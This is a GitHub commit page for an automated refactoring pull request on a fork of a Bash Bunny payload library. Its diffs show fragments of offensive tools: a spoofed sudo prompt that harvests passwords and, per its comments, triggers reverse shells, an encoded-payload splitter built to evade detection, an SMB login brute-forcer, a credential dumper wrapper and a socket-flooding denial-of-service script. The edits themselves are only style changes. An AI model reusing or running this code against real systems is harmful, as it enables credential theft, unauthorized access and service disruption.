Skip to content

Commit

Permalink
Merge pull request #1 from gman10172023/sourcery/master
Browse files Browse the repository at this point in the history
Sourcery refactored master branch
  • Loading branch information
gman10172023 authored Dec 1, 2023
2 parents 98bfe07 + a778562 commit 994173a
Show file tree
Hide file tree
Showing 12 changed files with 1,337 additions and 118 deletions.
1,246 changes: 1,246 additions & 0 deletions .vscode/PythonImportHelper-v2-Completion.json

Large diffs are not rendered by default.

25 changes: 14 additions & 11 deletions payloads/library/credentials/MacPass/laZagne.py
Original file line number Diff line number Diff line change
Expand Up @@ -102,20 +102,23 @@ def runLaZagne(category_selected='all', subcategories={}, password=None, interac
This function will be removed, still there for compatibility with other tools
Everything is on the config/run.py file
"""
for pwd_dic in run_lazagne(
category_selected=category_selected,
subcategories=subcategories,
password=password,
interactive=interactive
):
yield pwd_dic
yield from run_lazagne(
category_selected=category_selected,
subcategories=subcategories,
password=password,
interactive=interactive,
)


if __name__ == '__main__':

parser = argparse.ArgumentParser(description=constant.st.banner, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION),
help='laZagne version')
parser.add_argument(
'--version',
action='version',
version=f'Version {str(constant.CURRENT_VERSION)}',
help='laZagne version',
)

# ------------------------------------------- Permanent options ------------------------------------------
# Version and verbosity
Expand Down Expand Up @@ -191,7 +194,7 @@ def runLaZagne(category_selected='all', subcategories={}, password=None, interac
if categories[c]['subparser']:
parser_tab += categories[c]['subparser']
parser_tab += [PWrite]
dic_tmp = {c: {'parents': parser_tab, 'help': 'Run %s module' % c}}
dic_tmp = {c: {'parents': parser_tab, 'help': f'Run {c} module'}}
dic = dict(list(dic.items()) + list(dic_tmp.items()))

subparsers = parser.add_subparsers(help='Choose a main command')
Expand Down Expand Up @@ -226,7 +229,7 @@ def runLaZagne(category_selected='all', subcategories={}, password=None, interac
category_selected = args['auditType']
subcategories = clean_args(args)

for r in runLaZagne(
for _ in runLaZagne(
category_selected=category_selected,
subcategories=subcategories,
password=args.get('password', None),
Expand Down
16 changes: 7 additions & 9 deletions payloads/library/credentials/SMBruteBunny/mmcbrute/mmcbrute.py
Original file line number Diff line number Diff line change
Expand Up @@ -54,11 +54,9 @@ def __init__(self, usernames, passwords, domain, target, user_as_pass=False, hon
self.len_passwords = sum((1 for _ in self.passwords))
self.passwords.seek(os.SEEK_SET)

if self.user_as_pass and passwords is not None:
self.len_passwords += 1

elif self.user_as_pass:
self.passwords = False
if self.user_as_pass:
if passwords is None:
self.passwords = False
self.len_passwords += 1

self.totals = self.len_usernames * self.len_passwords
Expand All @@ -78,8 +76,7 @@ def run(self):
user = user[-1].strip()
if self.user_as_pass:
self.update_progress()
next_user = self.login(self.domain, user, user, smb_connection)
if next_user:
if next_user := self.login(self.domain, user, user, smb_connection):
# Restablish smb_connection to avoid false positves
smb_connection.close()
smb_connection = SMBConnection(self.target, self.target)
Expand All @@ -89,8 +86,9 @@ def run(self):
self.passwords.seek(os.SEEK_SET)
for password in enumerate(self.passwords):
self.update_progress()
next_user = self.login(self.domain, user, password[-1].strip(), smb_connection)
if next_user:
if next_user := self.login(
self.domain, user, password[-1].strip(), smb_connection
):
# Restablish smb_connection to avoid false positves
smb_connection.close()
smb_connection = SMBConnection(self.target, self.target)
Expand Down
50 changes: 20 additions & 30 deletions payloads/library/credentials/bushingsBlueTurtle/blueTurtle.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,10 +7,7 @@ def cantLoadModuleError():
import sys
if sys.version_info.major < 3:
return ImportError
if sys.version_info.minor < 6:
return ImportError
else:
return ModuleNotFoundError
return ImportError if sys.version_info.minor < 6 else ModuleNotFoundError

def getLootFileName():
import os
Expand All @@ -22,7 +19,7 @@ def getLootFileName():
def initializeThisScript():
'''This function will be run the first time by the bunny'''
import subprocess
import re
import re
pathFinder = subprocess.Popen("which python".split(), stdout = subprocess.PIPE)
pythonExecutable = pathFinder.stdout.read().strip()
pathFinder = subprocess.Popen("which sudo".split(), stdout = subprocess.PIPE)
Expand All @@ -43,24 +40,21 @@ def initializeThisScript():
except:
pass
thisFileName = __file__
thisFile = open(thisFileName, 'r')
originalCode = thisFile.read()
thisFile.close()
with open(thisFileName, 'r') as thisFile:
originalCode = thisFile.read()
newCode = re.sub("PYTHON_EXECUTABLE_GOES_HERE", pythonExecutable, originalCode, 1)
newCode = re.sub("REAL_SUDO_HERE", sudoExecutable, newCode, 1)
thisFile = open(thisFileName, 'w')
thisFile.write(newCode)
thisFile.close()
with open(thisFileName, 'w') as thisFile:
thisFile.write(newCode)
createLootFile(getLootFileName())
silencePayloadFile()
quit()

def createLootFile(lootFileName):
import json
initialData = {}
lootFile = open(lootFileName, 'w')
json.dump(initialData, lootFile)
lootFile.close()
with open(lootFileName, 'w') as lootFile:
json.dump(initialData, lootFile)

def validSudoPassword(password):
import subprocess
Expand All @@ -79,13 +73,11 @@ def silencePayloadFile(): #if there is an error making our reverse https, such
import os
payloadFileName = getPayloadFile()
if os.path.isfile(payloadFileName):
payloadFile = open(payloadFileName, 'r')
payload = payloadFile.read()
payloadFile.close()
with open(payloadFileName, 'r') as payloadFile:
payload = payloadFile.read()
payload = "try:\n\t" + payload + "\nexcept:\n\tpass"
payloadFile = open(payloadFileName, 'w')
payloadFile.write(payload)
payloadFile.close()
with open(payloadFileName, 'w') as payloadFile:
payloadFile.write(payload)

def blueTurtleShell(password): #we are going to give it a password here. It won't cause a problem if it is not needed, and it might be needed if the user was doing some long process for the sudo.
import subprocess
Expand All @@ -112,17 +104,17 @@ def getSudoPassword(allowedAttempts = 3):
user = getpass.getuser()
if validSudoPassword(""): #this avoids having the program ask for a password if a valid one was just entered (normal sudo behavior). Also avoids creating a bunch of reverse shells if the user is repeatedly using sudo (that could create some noise on both ends)
return (user, "", False)
prompt = "[sudo] password for %s: " %user
prompt = f"[sudo] password for {user}: "
fail = "Sorry, try again."
epicFail = "sudo: %s incorrect password attempts" %allowedAttempts
epicFail = f"sudo: {allowedAttempts} incorrect password attempts"
success = False
for i in range(allowedAttempts):
password = getpass.getpass(prompt)
if validSudoPassword(password):
success = True
break
else:
if not i == allowedAttempts - 1:
if i != allowedAttempts - 1:
print(fail)
if not success:
import sys
Expand All @@ -137,19 +129,17 @@ def getSudoPassword(allowedAttempts = 3):
def loadLootFile(lootFileName):
import json
try:
file = open(lootFileName, 'r')
data = json.load(file)
file.close()
return data
with open(lootFileName, 'r') as file:
data = json.load(file)
return data
except:
return False

def saveLootFile(loot, lootFileName):
import json
try:
file = open(lootFileName, 'w')
json.dump(loot, file)
file.close()
with open(lootFileName, 'w') as file:
json.dump(loot, file)
except:
pass

Expand Down
19 changes: 6 additions & 13 deletions payloads/library/credentials/bushingsBlueTurtle/shellSmuggler.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,13 +10,11 @@ def grabEncoded(payload):

def getPayloadFromSTDIN():
import sys
payload = sys.stdin.read()
return payload
return sys.stdin.read()

def getPayloadFromFile(fileName):
file = open(fileName, 'r')
payload = file.read()
file.close()
with open(fileName, 'r') as file:
payload = file.read()
return payload

def breakEncoded(encodedAttack):
Expand All @@ -25,21 +23,16 @@ def breakEncoded(encodedAttack):
return (encoded1, encoded2)

def makePrepend(encoded1, encoded2):
rejoiner = "encodedAttack=''.join([''.join(item) for item in zip('%s','%s')]);" %(encoded1, encoded2)
return rejoiner
return f"encodedAttack=''.join([''.join(item) for item in zip('{encoded1}','{encoded2}')]);"

def checkForInputFile():
import sys
args = sys.argv
if len(args) > 2:
raise RuntimeError("Only valid argument is a filename")
if len(args) == 2:
return args[1]
else:
return False
return args[1] if len(args) == 2 else False

fileName = checkForInputFile()
if fileName:
if fileName := checkForInputFile():
payload = getPayloadFromFile(fileName)
else:
payload = getPayloadFromSTDIN()
Expand Down
8 changes: 2 additions & 6 deletions payloads/library/execution/bunnyDOS/bunnyDOS/systemIO
Original file line number Diff line number Diff line change
Expand Up @@ -165,10 +165,7 @@ def init_socket(ip):

s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

ua = user_agents[0]
if args.randuseragent:
ua = random.choice(user_agents)

ua = random.choice(user_agents) if args.randuseragent else user_agents[0]
s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s
Expand Down Expand Up @@ -204,8 +201,7 @@ def main():
for _ in range(socket_count - len(list_of_sockets)):
logging.debug("Recreating socket...")
try:
s = init_socket(ip)
if s:
if s := init_socket(ip):
list_of_sockets.append(s)
except socket.error as e:
logging.debug(e)
Expand Down
2 changes: 1 addition & 1 deletion payloads/library/general/ALTCODE-TRANSCODER/art2bunny.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
def getDict(SWITCH_POSITION):
#read ansiDict.txt file to get the bytes for the widows altcodes (ascii 128-255)
altcode = 0
with open('/root/udisk/payloads/'+SWITCH_POSITION+'/ansiDict.txt', 'rb') as f:
with open(f'/root/udisk/payloads/{SWITCH_POSITION}/ansiDict.txt', 'rb') as f:
for line in f:
line = str(binascii.hexlify(line))
while line.endswith('0a') or line.endswith('0d'):
Expand Down
12 changes: 5 additions & 7 deletions payloads/library/general/BashBunny_Manager/panel/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ def process(self, method='GET'):
sha512.update(login)
login_hash = sha512.hexdigest().lower()
credentials_path = os.path.join('credentials')
for credential in open(credentials_path, 'r+').readlines():
for credential in open(credentials_path, 'r+'):
credentials = credential.split(':')
if credentials[0] == username and credentials[1].strip() == login_hash:
authenticated = True
Expand Down Expand Up @@ -70,7 +70,7 @@ def process(self, method='GET'):
site = getattr(getattr(module, self.path[1:]), self.path[1:])
except:
raise FileNotFoundError

inst = site()
if not hasattr(inst, method):
raise MethodNotAllowedError
Expand All @@ -88,7 +88,7 @@ def process(self, method='GET'):
else:
body = func(self)

if body == None:
if body is None:
return
self.send_response(200)
except FileNotFoundError:
Expand All @@ -98,11 +98,9 @@ def process(self, method='GET'):
body = "Method not allowed"
self.send_response(405)
except Exception as e:
body = "Unknown error"
if DEBUG:
body = str(e)
body = str(e) if DEBUG else "Unknown error"
self.send_response(502)

self.send_header('Content-type', content_type)
self.end_headers()
self.wfile.write(body)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -70,8 +70,7 @@ def generatePayloadList(self):

d = os.path.join('..', '..', 'library')
categories = [f for f in os.listdir(d) if os.path.isdir(os.path.join(d, f))]
i = 0
for category in categories:
for i, category in enumerate(categories):
ret += '''
<div class="card">
<div class="card-header" id="heading{0}">
Expand All @@ -88,8 +87,6 @@ def generatePayloadList(self):
</div>
</div>
</div>'''.format(i, category.replace('_', ' '), self.generateTable(category), self.containsArmed(category))
i += 1

ret += '</div>'
return ret

Expand Down
31 changes: 15 additions & 16 deletions payloads/library/general/BashBunny_Manager/panel/sites/users.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,35 +26,34 @@ def POST(self, data, handler):
if 'del_user' in data:
credentials_path = os.path.join('credentials')
logins = open(credentials_path, 'r+').readlines()
credentials = []
for login in logins:
if len(login.strip()) > 0 and login.split(':')[0] != data['del_user'][0]:
credentials.append(login)
f = open(credentials_path, 'w+')
for credential in credentials:
f.write(credential)
f.close()
credentials = [
login
for login in logins
if len(login.strip()) > 0
and login.split(':')[0] != data['del_user'][0]
]
with open(credentials_path, 'w+') as f:
for credential in credentials:
f.write(credential)
return '<!DOCTYPE html><html><head><meta http-equiv = "refresh" content = "0; url=/users" /></head></html>'
elif 'action' in data and data['action'][0] == 'add_user':
username = data['user'][0]
password = data['pass'][0]
credentials_path = os.path.join('credentials')
logins = open(credentials_path, 'r+').readlines()
credentials = []
sha512 = hashlib.sha512()
sha512.update('{0}:{1}'.format(username, password))
login_hash = sha512.hexdigest().lower()
credentials.append('{0}:{1}\n'.format(username, login_hash))
credentials = ['{0}:{1}\n'.format(username, login_hash)]
for login in logins:
if len(login.strip()) > 0 and login.split(':')[0] != username:
credentials.append(login)
os.unlink(credentials_path)
f = open(credentials_path, 'w+')
for credential in credentials:
f.write(credential)
f.close()
with open(credentials_path, 'w+') as f:
for credential in credentials:
f.write(credential)
return '<!DOCTYPE html><html><head><meta http-equiv = "refresh" content = "0; url=/users" /></head></html>'

return '...'


Expand All @@ -73,7 +72,7 @@ def generateUserList(self):
credentials_path = os.path.join('credentials')
if not os.path.isfile(credentials_path):
open(credentials_path, 'w+').close()
for login in open(credentials_path, 'r+').readlines():
for login in open(credentials_path, 'r+'):
user = login.split(':')[0]
ret += '''
<tr>
Expand Down
Loading

0 comments on commit 994173a

Please sign in to comment.